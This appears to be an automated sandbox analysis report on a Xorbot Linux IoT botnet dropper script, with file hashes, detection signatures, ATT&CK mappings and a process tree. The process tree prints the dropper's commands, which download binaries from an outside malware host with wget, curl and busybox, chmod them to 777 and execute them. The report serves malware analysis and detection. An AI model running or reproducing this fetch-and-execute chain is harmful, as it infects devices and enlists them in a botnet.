xorbot | 0c98e0fe3095251bda67f56c1d0191655abe6fd06af268a285d01b3f6130d4cb

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02-12-2024 08:49

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General

Target

bins.sh
Size

10KB
MD5

95f64917ffeea05c92415120a3b8973c
SHA1

0de840a652d6cd1f5e0006705be7c0708859dd2c
SHA256

0c98e0fe3095251bda67f56c1d0191655abe6fd06af268a285d01b3f6130d4cb
SHA512

8c781bc37253d511e84cbdd0349c8482387bd7d01bd1bac208c3b58375c566c37c936a22579bf5eef25621a7827834ffaab57c23973cdc69d4173a4d21be4549
SSDEEP

192:l+7OdqwtpE/3otdEHDm664gVGK4tdEHD764gVGKyxitpE/3H:l+adqwtpE/3er4gVGK+4gVGKy0tpE/3H

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
811	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	812	C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
707	wget
722	curl
731	busybox
815	wget
816	curl

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	wget
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	curl
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - System Network Configuration Discovery
  PID:731
- /bin/chmod
  chmod 777 C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  ./C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit